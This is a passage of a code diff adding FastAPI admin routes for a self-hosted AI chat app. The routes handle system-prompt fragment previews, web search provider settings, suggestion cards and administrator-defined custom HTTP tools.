||||
is saved.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Form, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.services import chat as chat_service
|
||||
from lembas.services import harness as harness_service
|
||||
from lembas.services import prompts as prompts_service
|
||||
from lembas.services import settings_store
|
||||
from lembas.services import tools as tools_service
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/admin/prompts", tags=["admin-prompts"])
|
||||
|
||||
# What the preview pretends is attached, so the attachment fragment can be read
|
||||
# in place rather than imagined. An administrator can clear the field.
|
||||
SAMPLE_DOCUMENTS = "report.pdf, notes.txt"
|
||||
|
||||
|
||||
def _families_of(db: Db, names: list[str]) -> list[str]:
|
||||
"""Keep only real family names, in the registry's order.
|
||||
|
||||
Read from the database rather than the constant: a family can belong to an
|
||||
administrator-defined tool, and one the preview cannot name is one whose
|
||||
guidance cannot be checked here.
|
||||
"""
|
||||
wanted = set(names)
|
||||
return [family for family in tools_service.families(db) if family in wanted]
|
||||
|
||||
|
||||
def _tool_names(db: Db, families: list[str]) -> str:
|
||||
return ", ".join(
|
||||
name for name, tool in tools_service.registry(db).items() if tool.family in families
|
||||
)
|
||||
|
||||
|
||||
def _variables(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
*,
|
||||
families: list[str],
|
||||
model_name: str = "",
|
||||
bases: str = "",
|
||||
documents: str = "",
|
||||
) -> dict[str, str]:
|
||||
"""The preview's variable values.
|
||||
|
||||
Built from the administrator's *own* memories and skills rather than from
|
||||
invented ones: a preview against synthetic data cannot tell you whether your
|
||||
memory section reads well against what is actually in there. `AdminUser`
|
||||
means this is the operator looking at their own library.
|
||||
|
||||
No Chat row is made. `harness.compose_from` takes plain variables precisely
|
||||
so that this screen never has to build a transient one.
|
||||
"""
|
||||
from lembas.services.library import memories as memories_service
|
||||
from lembas.services.library import skills as skills_service
|
||||
|
||||
values = harness_service.context_variables(db, user, [], None)
|
||||
values.update(
|
||||
{
|
||||
"model_name": model_name,
|
||||
"tool_names": _tool_names(db, families),
|
||||
"memories": memories_service.block(db, user) if "memory" in families else "",
|
||||
"skills": skills_service.index_block(db, user) if "skills" in families else "",
|
||||
"knowledge_bases": bases if "knowledge" in families else "",
|
||||
"document_names": documents,
|
||||
}
|
||||
)
|
||||
return values
|
||||
|
||||
|
||||
def _field_context(db: Db, key: str, *, value: str, overridden: bool) -> dict:
|
||||
return {
|
||||
"fragment": prompts_service.catalogue(db)[key],
|
||||
"value": value,
|
||||
"overridden": overridden,
|
||||
}
|
||||
|
||||
|
||||
@router.get("")
|
||||
async def prompts_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
|
||||
stored = prompts_service.stored(db)
|
||||
models = chat_service.available_models(db, user)
|
||||
families = list(tools_service.families(db))
|
||||
|
||||
return render(
|
||||
request,
|
||||
"admin/prompts.html",
|
||||
{
|
||||
"groups": prompts_service.grouped(db),
|
||||
"values": {
|
||||
fragment.key: stored.get(fragment.key, fragment.default)
|
||||
for fragment in prompts_service.catalogue(db).values()
|
||||
},
|
||||
"overridden": set(stored),
|
||||
"variables": prompts_service.VARIABLES,
|
||||
# The legend shows what each name resolves to right now, with every
|
||||
# family on -- a legend nobody can check is just a list of words.
|
||||
"resolved": _variables(
|
||||
db,
|
||||
user,
|
||||
families=families,
|
||||
model_name=models[0].label if models else "",
|
||||
bases="Contracts, Recipes",
|
||||
documents=SAMPLE_DOCUMENTS,
|
||||
),
|
||||
"models": models,
|
||||
"families": families,
|
||||
"registry": sorted(
|
||||
tools_service.registry(db).values(), key=lambda t: (t.family, t.name)
|
||||
),
|
||||
"max_harness_chars": settings_store.get(
|
||||
db, "max_harness_chars", key=settings_store.PROMPTS
|
||||
),
|
||||
"default_harness_chars": harness_service.MAX_HARNESS_CHARS,
|
||||
"sample_documents": SAMPLE_DOCUMENTS,
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
# Registered before anything that could take a path parameter. There is no such
|
||||
# route today, but /admin/models has already been bitten once by adding one.
|
||||
@router.post("/default")
|
||||
async def use_default(request: Request, db: Db, user: AdminUser, key: str = Form("")):
|
||||
"""Fill one field with its built-in text, without saving anything.
|
||||
|
||||
Deliberately not a write. The administrator may be halfway through editing
|
||||
something else, and a button that silently persisted would take that with
|
||||
it. Saving afterwards is what makes it stick -- and because the text then
|
||||
equals the default, `prompts.save` stores nothing and the override is gone.
|
||||
"""
|
||||
fragment = prompts_service.catalogue(db).get(key)
|
||||
if fragment is None:
|
||||
return Response(status_code=status.HTTP_404_NOT_FOUND)
|
||||
return render(
|
||||
request,
|
||||
"admin/_prompt_field.html",
|
||||
_field_context(db, key, value=fragment.default, overridden=False),
|
||||
)
|
||||
|
||||
|
||||
@router.post("/reset")
|
||||
async def reset_prompts(db: Db, user: AdminUser) -> Response:
|
||||
prompts_service.clear(db)
|
||||
log.info("prompt fragments reset to defaults by %s", user.email)
|
||||
return RedirectResponse("/admin/prompts?saved=1", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/preview")
|
||||
async def preview(request: Request, db: Db, user: AdminUser):
|
||||
"""The whole system message, assembled from what is in the form right now.
|
||||
|
||||
Unsaved text is what an administrator wants to see, so the submitted values
|
||||
are passed as overrides rather than read back from the database.
|
||||
"""
|
||||
form = await request.form()
|
||||
overrides = _submitted(db, form)
|
||||
families = _families_of(db, [str(value) for value in form.getlist("preview_family")])
|
||||
model_name = str(form.get("preview_model") or "")
|
||||
bases = str(form.get("preview_bases") or "").strip()
|
||||
documents = str(form.get("preview_documents") or "").strip()
|
||||
|
||||
variables = _variables(
|
||||
db,
|
||||
user,
|
||||
families=families,
|
||||
model_name=model_name,
|
||||
bases=bases,
|
||||
documents=documents,
|
||||
)
|
||||
body = harness_service.compose_from(
|
||||
db,
|
||||
variables=variables,
|
||||
families=families,
|
||||
has_tools=bool(families),
|
||||
overrides=overrides,
|
||||
)
|
||||
authored = (settings_store.get(db, "system_prompt") or "").strip()
|
||||
lead = prompts_service.substitute(
|
||||
overrides.get("seam.authored_lead", prompts_service.resolve(db, "seam.authored_lead")),
|
||||
variables,
|
||||
).strip()
|
||||
|
||||
return render(
|
||||
request,
|
||||
"admin/_prompt_preview.html",
|
||||
{
|
||||
"system": harness_service.join(body, authored, lead=lead),
|
||||
"harness_chars": len(body),
|
||||
"limit": harness_service.limit_for(db),
|
||||
"authored": authored,
|
||||
"title_prompt": prompts_service.substitute(
|
||||
overrides.get("task.title", prompts_service.resolve(db, "task.title")),
|
||||
{"question": "What is lembas?", "answer": "Elvish waybread."},
|
||||
).strip(),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def _submitted(db: Db, form) -> dict[str, str]:
|
||||
"""The fragment texts present in a form post, normalised.
|
||||
|
||||
Key presence is what is read, never a falsy value: an empty textarea is how
|
||||
a fragment is turned off, and FastAPI's `Form(...)` cannot tell `x=` from an
|
||||
absent `x`. Same reason `api/chats.py:update_chat` reads the raw form.
|
||||
"""
|
||||
out: dict[str, str] = {}
|
||||
for key in prompts_service.catalogue(db):
|
||||
field = f"prompt.{key}"
|
||||
if field in form:
|
||||
out[key] = str(form.get(field) or "").replace("\r\n", "\n")
|
||||
return out
|
||||
|
||||
|
||||
@router.post("")
|
||||
async def save_prompts(request: Request, db: Db, user: AdminUser) -> Response:
|
||||
form = await request.form()
|
||||
stored = prompts_service.save(db, _submitted(db, form))
|
||||
|
||||
try:
|
||||
cap = int(str(form.get("max_harness_chars") or 0))
|
||||
except ValueError:
|
||||
cap = 0
|
||||
settings_store.update(
|
||||
db,
|
||||
{"max_harness_chars": min(max(cap, 0), 100_000)},
|
||||
key=settings_store.PROMPTS,
|
||||
)
|
||||
|
||||
log.info("prompt fragments saved by %s (%d edited)", user.email, len(stored))
|
||||
return RedirectResponse("/admin/prompts?saved=1", status_code=status.HTTP_303_SEE_OTHER)
|
||||
@@ -0,0 +1,114 @@
|
||||
"""Web search administration: which provider, and how to reach it."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Form, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.services import search as search_service
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
|
||||
from lembas.services.search.base import SearchError
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/admin/search", tags=["admin-search"])
|
||||
|
||||
SAFESEARCH = ("off", "moderate", "strict")
|
||||
|
||||
|
||||
@router.get("")
|
||||
async def search_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
|
||||
values = settings_store.search(db)
|
||||
return render(
|
||||
request,
|
||||
"admin/search.html",
|
||||
{
|
||||
"values": values,
|
||||
"providers": search_service.PROVIDERS,
|
||||
# Keyed by provider so the form can show an install hint against
|
||||
# the one that needs it, without the template knowing why.
|
||||
"problems": {
|
||||
p.key: search_service.availability(p.key) for p in search_service.PROVIDERS
|
||||
},
|
||||
"safesearch_options": SAFESEARCH,
|
||||
"masked": mask(decrypt(values.get("firecrawl_api_key_encrypted") or "")),
|
||||
"unchanged": UNCHANGED_SENTINEL,
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("")
|
||||
async def save_search(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
enabled: bool = Form(False),
|
||||
provider: str = Form("ddgs"),
|
||||
max_results: int = Form(5),
|
||||
region: str = Form("wt-wt"),
|
||||
safesearch: str = Form("moderate"),
|
||||
searxng_base_url: str = Form(""),
|
||||
firecrawl_base_url: str = Form(""),
|
||||
firecrawl_api_key: str = Form(""),
|
||||
timeout: float = Form(20.0),
|
||||
allow_private_fetch: bool = Form(False),
|
||||
fetch_enabled: bool = Form(False),
|
||||
) -> Response:
|
||||
current = settings_store.search(db)
|
||||
known = {p.key for p in search_service.PROVIDERS}
|
||||
|
||||
settings_store.update(
|
||||
db,
|
||||
{
|
||||
"enabled": enabled,
|
||||
"provider": provider if provider in known else "ddgs",
|
||||
# An upper bound on what any single search may put in the prompt.
|
||||
# Twenty results is already more than a model reads carefully.
|
||||
"max_results": min(max(max_results, 1), 20),
|
||||
"region": region.strip()[:16] or "wt-wt",
|
||||
"safesearch": safesearch if safesearch in SAFESEARCH else "moderate",
|
||||
"searxng_base_url": searxng_base_url.strip().rstrip("/"),
|
||||
"firecrawl_base_url": firecrawl_base_url.strip().rstrip("/")
|
||||
or "https://api.firecrawl.dev",
|
||||
"firecrawl_api_key_encrypted": keep_or_replace(
|
||||
firecrawl_api_key, current.get("firecrawl_api_key_encrypted") or ""
|
||||
),
|
||||
"timeout": min(max(timeout, 5.0), 120.0),
|
||||
"allow_private_fetch": allow_private_fetch,
|
||||
"fetch_enabled": fetch_enabled,
|
||||
},
|
||||
key=settings_store.SEARCH,
|
||||
)
|
||||
log.info("web search %s by %s", "enabled" if enabled else "disabled", user.email)
|
||||
return RedirectResponse("/admin/search?saved=1", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/test")
|
||||
async def test_search(request: Request, db: Db, user: AdminUser, query: str = Form("")):
|
||||
"""Run one real search and show what came back.
|
||||
|
||||
Against the stored settings rather than the unsaved form, so what is tested
|
||||
is what a chat would actually do.
|
||||
"""
|
||||
config = settings_store.search(db)
|
||||
query = query.strip() or "lembas"
|
||||
|
||||
try:
|
||||
results = await search_service.run(config, query)
|
||||
message, kind = (
|
||||
f"{search_service.provider(config.get('provider')).label} returned "
|
||||
f"{len(results)} result{'' if len(results) == 1 else 's'}."
|
||||
), "success"
|
||||
except SearchError as exc:
|
||||
results, message, kind = [], exc.message, "error"
|
||||
|
||||
return render(
|
||||
request,
|
||||
"admin/_search_result.html",
|
||||
{"results": results, "message": message, "message_kind": kind, "query": query},
|
||||
)
|
||||
@@ -0,0 +1,113 @@
|
||||
"""Administration for the cards offered on the new-chat screen."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Form, HTTPException, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.db.models import Suggestion
|
||||
from lembas.services import suggestions as suggestions_service
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/admin/suggestions", tags=["admin-suggestions"])
|
||||
|
||||
|
||||
def _suggestion(db: Db, suggestion_id: str) -> Suggestion:
|
||||
suggestion = db.get(Suggestion, suggestion_id)
|
||||
if suggestion is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That suggestion no longer exists.")
|
||||
return suggestion
|
||||
|
||||
|
||||
def _back(message: str = "") -> Response:
|
||||
target = f"/admin/suggestions?saved={message}" if message else "/admin/suggestions"
|
||||
return RedirectResponse(target, status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.get("")
|
||||
async def suggestions_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
|
||||
rows = suggestions_service.all_of_them(db)
|
||||
return render(
|
||||
request,
|
||||
"admin/suggestions.html",
|
||||
{
|
||||
"suggestions": rows,
|
||||
"at_limit": len(rows) >= suggestions_service.MAX_SUGGESTIONS,
|
||||
"max_suggestions": suggestions_service.MAX_SUGGESTIONS,
|
||||
"max_shown": suggestions_service.MAX_SHOWN,
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("")
|
||||
async def create_suggestion(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
name: str = Form(""),
|
||||
description: str = Form(""),
|
||||
prompt: str = Form(""),
|
||||
) -> Response:
|
||||
name = name.strip()
|
||||
if not name:
|
||||
return _back("A suggestion needs a name.")
|
||||
if len(suggestions_service.all_of_them(db)) >= suggestions_service.MAX_SUGGESTIONS:
|
||||
return _back(f"That is already {suggestions_service.MAX_SUGGESTIONS}, which is plenty.")
|
||||
|
||||
suggestions_service.create(db, name=name, description=description, prompt=prompt)
|
||||
log.info("%s added suggestion %s", user.email, name)
|
||||
return _back(f"Added {name}.")
|
||||
|
||||
|
||||
# Registered before /{suggestion_id}: FastAPI matches in registration order, so
|
||||
# with the parameterised route first any literal segment added later would be
|
||||
# captured as an id. That has already been a bug once, in /admin/models.
|
||||
@router.post("/{suggestion_id}/delete")
|
||||
async def delete_suggestion(db: Db, user: AdminUser, suggestion_id: str) -> Response:
|
||||
suggestion = _suggestion(db, suggestion_id)
|
||||
name = suggestion.name
|
||||
db.delete(suggestion)
|
||||
db.commit()
|
||||
log.info("%s deleted suggestion %s", user.email, name)
|
||||
return _back(f"Deleted {name}.")
|
||||
|
||||
|
||||
@router.post("/{suggestion_id}")
|
||||
async def update_suggestion(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
suggestion_id: str,
|
||||
) -> Response:
|
||||
"""Save one row.
|
||||
|
||||
The raw form is read rather than declared parameters because `enabled` is a
|
||||
checkbox: FastAPI cannot tell an unticked box from an absent field, and an
|
||||
absent one is exactly what an unticked box sends.
|
||||
"""
|
||||
suggestion = _suggestion(db, suggestion_id)
|
||||
form = await request.form()
|
||||
|
||||
suggestion.name = (
|
||||
str(form.get("name") or "").strip()[: suggestions_service.MAX_NAME] or suggestion.name
|
||||
)
|
||||
suggestion.description = str(form.get("description") or "").strip()[
|
||||
: suggestions_service.MAX_DESCRIPTION
|
||||
]
|
||||
suggestion.prompt = str(form.get("prompt") or "").replace("\r\n", "\n")[
|
||||
: suggestions_service.MAX_PROMPT
|
||||
]
|
||||
suggestion.enabled = "enabled" in form
|
||||
|
||||
position = str(form.get("position") or "").strip()
|
||||
if position.isdigit():
|
||||
suggestion.position = min(max(int(position) - 1, 0), 999)
|
||||
|
||||
db.commit()
|
||||
log.info("%s updated suggestion %s", user.email, suggestion.name)
|
||||
return _back(f"Saved {suggestion.name}.")
|
||||
@@ -0,0 +1,661 @@
|
||||
"""Administration for the tools an administrator defines.
|
||||
|
||||
List-plus-detail, like `/admin/models` and for the same reason: a tool has
|
||||
fifteen fields and a page that renders fifteen fields per row is unusable. The
|
||||
list is compact and searchable; the whole form lives at `/admin/tools/{id}/edit`.
|
||||
|
||||
Validation reports back into the form rather than raising a 422. The fields here
|
||||
are a JSON schema, a URL template and a secret; getting one wrong is normal, and
|
||||
losing the other fourteen because of it is not acceptable. So a rejected save
|
||||
re-renders the form from what was submitted, with the reason.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
from datetime import UTC, datetime
|
||||
|
||||
from fastapi import APIRouter, HTTPException, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
from sqlalchemy import func, select
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.db.models import (
|
||||
RESPONSE_JSON,
|
||||
RESPONSE_MODES,
|
||||
RESPONSE_RAW,
|
||||
RESPONSE_TEXT,
|
||||
SECRET_NONE,
|
||||
SECRET_PLACEMENTS,
|
||||
CustomTool,
|
||||
Group,
|
||||
McpServer,
|
||||
)
|
||||
from lembas.services import custom_tools
|
||||
from lembas.services import prompts as prompts_service
|
||||
from lembas.services import tools as tools_service
|
||||
from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
|
||||
from lembas.services.fetch import FetchError, check_url
|
||||
from lembas.services.mcp import client as mcp_client
|
||||
from lembas.services.mcp import registry as mcp_registry
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(tags=["admin-tools"])
|
||||
|
||||
PAGE_SIZE = 40
|
||||
|
||||
# The slug is the function name sent to the endpoint, so it is bound by the
|
||||
# charset those accept, and it is half of this tool's prompt-fragment key, so it
|
||||
# is bound by that pattern too. The intersection is this.
|
||||
SLUG_PATTERN = re.compile(r"^[a-z0-9][a-z0-9_-]{0,47}$")
|
||||
|
||||
FILTERS: dict[str, tuple[str, object]] = {
|
||||
"all": ("All", lambda t: True),
|
||||
"enabled": ("Enabled", lambda t: t.enabled),
|
||||
"disabled": ("Disabled", lambda t: not t.enabled),
|
||||
"restricted": ("Restricted", lambda t: not t.public),
|
||||
}
|
||||
|
||||
RESPONSE_LABELS = (
|
||||
(RESPONSE_TEXT, "Text — HTML reduced to prose"),
|
||||
(RESPONSE_JSON, "JSON — parsed, narrowed by the path below"),
|
||||
(RESPONSE_RAW, "Raw — exactly as it arrived"),
|
||||
)
|
||||
|
||||
SECRET_LABELS = (
|
||||
(SECRET_NONE, "None — this endpoint needs no credential"),
|
||||
("bearer", "Bearer token in a header"),
|
||||
("header", "The header named below, verbatim"),
|
||||
("query", "A query parameter named below"),
|
||||
)
|
||||
|
||||
|
||||
def _tool(db: Db, tool_id: str) -> CustomTool:
|
||||
tool = db.get(CustomTool, tool_id)
|
||||
if tool is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That tool no longer exists.")
|
||||
return tool
|
||||
|
||||
|
||||
def _ordered(db: Db) -> list[CustomTool]:
|
||||
return list(db.scalars(select(CustomTool).order_by(CustomTool.position, CustomTool.slug)))
|
||||
|
||||
|
||||
def _back(message: str = "") -> Response:
|
||||
target = f"/admin/tools?saved={message}" if message else "/admin/tools"
|
||||
return RedirectResponse(target, status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
# --- Form <-> row ------------------------------------------------------------
|
||||
def _headers_text(headers: dict) -> str:
|
||||
return "\n".join(f"{name}: {value}" for name, value in (headers or {}).items())
|
||||
|
||||
|
||||
def _parse_headers(text: str) -> dict[str, str]:
|
||||
"""One `Name: value` per line. Blank lines and lines with no colon are dropped."""
|
||||
out: dict[str, str] = {}
|
||||
for line in (text or "").splitlines():
|
||||
name, _, value = line.partition(":")
|
||||
if name.strip() and _:
|
||||
out[name.strip()] = value.strip()
|
||||
return out
|
||||
|
||||
|
||||
def _number(raw: str, *, default: int, low: int, high: int) -> int:
|
||||
text = str(raw or "").strip()
|
||||
if not text.lstrip("-").isdigit():
|
||||
return default
|
||||
return min(max(int(text), low), high)
|
||||
|
||||
|
||||
def _populate(tool: CustomTool, form) -> None:
|
||||
"""Copy a submitted form onto a row (or a draft of one).
|
||||
|
||||
Checkboxes are read by key presence: FastAPI cannot tell `x=` from an absent
|
||||
`x`, and an absent one is exactly what an unticked box sends.
|
||||
"""
|
||||
tool.name = str(form.get("name") or "").strip()[:120]
|
||||
tool.description = str(form.get("description") or "").strip()
|
||||
tool.guidance = str(form.get("guidance") or "").replace("\r\n", "\n").strip()
|
||||
tool.method = str(form.get("method") or "GET").strip().upper()
|
||||
tool.url_template = str(form.get("url_template") or "").strip()[:1000]
|
||||
tool.body_template = str(form.get("body_template") or "").replace("\r\n", "\n")
|
||||
tool.headers_json = _parse_headers(str(form.get("headers") or ""))
|
||||
|
||||
placement = str(form.get("secret_placement") or SECRET_NONE)
|
||||
tool.secret_placement = placement if placement in SECRET_PLACEMENTS else SECRET_NONE
|
||||
tool.secret_name = str(form.get("secret_name") or "Authorization").strip()[:120]
|
||||
|
||||
mode = str(form.get("response_mode") or RESPONSE_TEXT)
|
||||
tool.response_mode = mode if mode in RESPONSE_MODES else RESPONSE_TEXT
|
||||
tool.response_path = str(form.get("response_path") or "").strip()[:300]
|
||||
|
||||
tool.max_chars = _number(
|
||||
form.get("max_chars"),
|
||||
default=8000,
|
||||
low=custom_tools.MIN_CHARS,
|
||||
high=custom_tools.MAX_CHARS,
|
||||
)
|
||||
tool.timeout = _number(
|
||||
form.get("timeout"),
|
||||
default=20,
|
||||
low=custom_tools.MIN_TIMEOUT,
|
||||
high=custom_tools.MAX_TIMEOUT,
|
||||
)
|
||||
tool.position = _number(form.get("position"), default=tool.position or 0, low=0, high=999)
|
||||
|
||||
tool.allow_private = "allow_private" in form
|
||||
tool.enabled = "enabled" in form
|
||||
tool.public = "public" in form
|
||||
|
||||
|
||||
def _problem(db: Db, tool: CustomTool, form, *, existing_id: str = "") -> str:
|
||||
"""Why this cannot be saved, or an empty string."""
|
||||
if not tool.name:
|
||||
return "A tool needs a name."
|
||||
|
||||
slug = str(form.get("slug") or "").strip().lower()
|
||||
if not SLUG_PATTERN.match(slug):
|
||||
return (
|
||||
"The identifier must be lowercase letters, digits, hyphens or "
|
||||
"underscores, start with a letter or digit, and be at most 48 "
|
||||
"characters. It is the name the model calls."
|
||||
)
|
||||
if slug in tools_service.REGISTRY:
|
||||
return f"“{slug}” is the name of a built-in tool. Choose another."
|
||||
clash = db.scalar(select(CustomTool).where(CustomTool.slug == slug))
|
||||
if clash is not None and clash.id != existing_id:
|
||||
return f"There is already a tool called “{slug}”."
|
||||
tool.slug = slug
|
||||
|
||||
if tool.method not in custom_tools.ALLOWED_METHODS:
|
||||
return f"{tool.method} is not a method this can send."
|
||||
|
||||
raw = str(form.get("parameters") or "").strip() or '{"type": "object", "properties": {}}'
|
||||
try:
|
||||
parameters = json.loads(raw)
|
||||
except json.JSONDecodeError as exc:
|
||||
return f"The parameters are not valid JSON: {exc}"
|
||||
if not isinstance(parameters, dict) or parameters.get("type") != "object":
|
||||
return 'The parameters must be a JSON object whose "type" is "object".'
|
||||
tool.parameters_json = parameters
|
||||
|
||||
# The same check the runner makes, so a template that could never be called
|
||||
# is refused here rather than at the first call.
|
||||
try:
|
||||
custom_tools.fill_url(custom_tools.spec_from(tool), {})
|
||||
except Exception as exc: # noqa: BLE001 - any refusal is a message for the form
|
||||
return str(getattr(exc, "message", exc))
|
||||
|
||||
return ""
|
||||
|
||||
|
||||
def _detail(request: Request, db: Db, tool: CustomTool, *, is_new: bool, error: str = "", **extra):
|
||||
key = f"tool.custom_{tool.slug}" if tool.slug else ""
|
||||
return render(
|
||||
request,
|
||||
"admin/tool_detail.html",
|
||||
{
|
||||
"tool": tool,
|
||||
"is_new": is_new,
|
||||
"error": error,
|
||||
"groups": list(db.scalars(select(Group).order_by(Group.name))),
|
||||
"selected_groups": extra.pop(
|
||||
"selected_groups", {group.id for group in (tool.groups if tool.id else [])}
|
||||
),
|
||||
"headers_text": extra.pop("headers_text", _headers_text(tool.headers_json)),
|
||||
"parameters_text": extra.pop(
|
||||
"parameters_text", json.dumps(tool.parameters_json or {}, indent=2)
|
||||
),
|
||||
"masked": mask(decrypt(tool.secret_encrypted)) if tool.secret_encrypted else "",
|
||||
"unchanged": UNCHANGED_SENTINEL,
|
||||
"methods": custom_tools.ALLOWED_METHODS,
|
||||
"response_modes": RESPONSE_LABELS,
|
||||
"secret_placements": SECRET_LABELS,
|
||||
"prompt_key": key,
|
||||
"prompt_overridden": key in prompts_service.stored(db),
|
||||
**extra,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
# --- The list ----------------------------------------------------------------
|
||||
@router.get("/admin/tools")
|
||||
async def tools_page(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
saved: str = "",
|
||||
q: str = "",
|
||||
filter: str = "all",
|
||||
page: int = 1,
|
||||
):
|
||||
everything = _ordered(db)
|
||||
predicate = FILTERS.get(filter, FILTERS["all"])[1]
|
||||
needle = q.strip().lower()
|
||||
matching = [
|
||||
tool
|
||||
for tool in everything
|
||||
if predicate(tool)
|
||||
and (not needle or needle in tool.slug.lower() or needle in (tool.name or "").lower())
|
||||
]
|
||||
|
||||
pages = max(1, -(-len(matching) // PAGE_SIZE))
|
||||
page = max(1, min(page, pages))
|
||||
start = (page - 1) * PAGE_SIZE
|
||||
|
||||
return render(
|
||||
request,
|
||||
"admin/tools.html",
|
||||
{
|
||||
"tools": matching[start : start + PAGE_SIZE],
|
||||
"total": len(everything),
|
||||
"matched": len(matching),
|
||||
"page": page,
|
||||
"pages": pages,
|
||||
"page_start": start,
|
||||
"counts": {
|
||||
key: sum(1 for tool in everything if rule(tool))
|
||||
for key, (_label, rule) in FILTERS.items()
|
||||
},
|
||||
"filters": {key: label for key, (label, _rule) in FILTERS.items()},
|
||||
"active_filter": filter if filter in FILTERS else "all",
|
||||
"q": q,
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
# Registered before /{tool_id}: FastAPI matches in registration order, so with
|
||||
# the parameterised route first "new" is captured as an id and the handler 404s
|
||||
# on a tool that does not exist. This has already been a bug once, in
|
||||
# /admin/models.
|
||||
@router.get("/admin/tools/new")
|
||||
async def new_tool_page(request: Request, db: Db, user: AdminUser):
|
||||
draft = CustomTool(
|
||||
name="",
|
||||
slug="",
|
||||
method="GET",
|
||||
url_template="https://",
|
||||
parameters_json={"type": "object", "properties": {}, "required": []},
|
||||
secret_placement=SECRET_NONE,
|
||||
response_mode=RESPONSE_TEXT,
|
||||
max_chars=8000,
|
||||
timeout=20,
|
||||
enabled=True,
|
||||
public=True,
|
||||
position=0,
|
||||
)
|
||||
return _detail(request, db, draft, is_new=True)
|
||||
|
||||
|
||||
@router.post("/admin/tools")
|
||||
async def create_tool(request: Request, db: Db, user: AdminUser) -> Response:
|
||||
form = await request.form()
|
||||
draft = CustomTool(headers_json={}, parameters_json={})
|
||||
_populate(draft, form)
|
||||
draft.position = db.scalar(select(func.coalesce(func.max(CustomTool.position), -1))) + 1
|
||||
|
||||
problem = _problem(db, draft, form)
|
||||
if problem:
|
||||
return _detail(
|
||||
request,
|
||||
db,
|
||||
draft,
|
||||
is_new=True,
|
||||
error=problem,
|
||||
headers_text=str(form.get("headers") or ""),
|
||||
parameters_text=str(form.get("parameters") or ""),
|
||||
selected_groups=set(form.getlist("group_ids")),
|
||||
)
|
||||
|
||||
draft.secret_encrypted = keep_or_replace(str(form.get("secret") or ""), "")
|
||||
draft.groups = _chosen_groups(db, form, public=draft.public)
|
||||
db.add(draft)
|
||||
db.commit()
|
||||
log.info("%s added custom tool %s", user.email, draft.slug)
|
||||
return _back(f"Added {draft.name}.")
|
||||
|
||||
|
||||
def _chosen_groups(db: Db, form, *, public: bool) -> list[Group]:
|
||||
"""A public tool holds no groups, the way a public model holds none."""
|
||||
if public:
|
||||
return []
|
||||
ids = set(form.getlist("group_ids"))
|
||||
return list(db.scalars(select(Group).where(Group.id.in_(ids)))) if ids else []
|
||||
|
||||
|
||||
@router.get("/admin/tools/{tool_id}/edit")
|
||||
async def edit_tool_page(request: Request, db: Db, user: AdminUser, tool_id: str):
|
||||
return _detail(request, db, _tool(db, tool_id), is_new=False)
|
||||
|
||||
|
||||
@router.post("/admin/tools/{tool_id}/test")
|
||||
async def test_tool(request: Request, db: Db, user: AdminUser, tool_id: str):
|
||||
"""Call the stored row once, with arguments the administrator typed.
|
||||
|
||||
The stored row rather than the submitted form, so what is tested is what a
|
||||
chat would actually do -- the same reason `/admin/search/test` reads the
|
||||
saved provider settings.
|
||||
"""
|
||||
tool = _tool(db, tool_id)
|
||||
form = await request.form()
|
||||
raw = str(form.get("arguments") or "").strip() or "{}"
|
||||
|
||||
try:
|
||||
arguments = json.loads(raw)
|
||||
if not isinstance(arguments, dict):
|
||||
raise ValueError("Arguments must be a JSON object.")
|
||||
except (json.JSONDecodeError, ValueError) as exc:
|
||||
return render(
|
||||
request,
|
||||
"admin/_tool_test.html",
|
||||
{"tool": tool, "error": f"Those arguments are not a JSON object: {exc}"},
|
||||
)
|
||||
|
||||
outcome = await custom_tools.call(custom_tools.spec_from(tool), arguments)
|
||||
